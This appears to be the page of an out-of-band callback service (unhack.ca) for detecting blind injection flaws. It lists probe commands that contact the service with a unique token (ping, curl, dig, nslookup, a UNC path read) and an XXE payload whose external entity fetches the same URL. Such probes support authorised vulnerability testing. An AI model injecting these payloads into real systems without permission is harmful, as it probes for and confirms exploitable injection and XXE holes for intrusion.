$ ping -c1 -p 00b7dff7ab4f1ef19cacef7d8f883f00 unhack.ca
$ curl http://unhack.ca/p/b7dff7ab4f1ef19cacef7d8f883f
$ dig b7dff7ab4f1ef19cacef7d8f883f @unhack.ca
$ dig b7dff7ab4f1ef19cacef7d8f883f.ns.unhack.ca
C:\> nslookup b7dff7ab4f1ef19cacef7d8f883f unhack.ca
C:\> type \\unhack.ca\b7dff7ab4f1ef19cacef7d8f883f\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/b7dff7ab4f1ef19cacef7d8f883f">]>
<foo>&xxe;</foo>
Waiting for ping...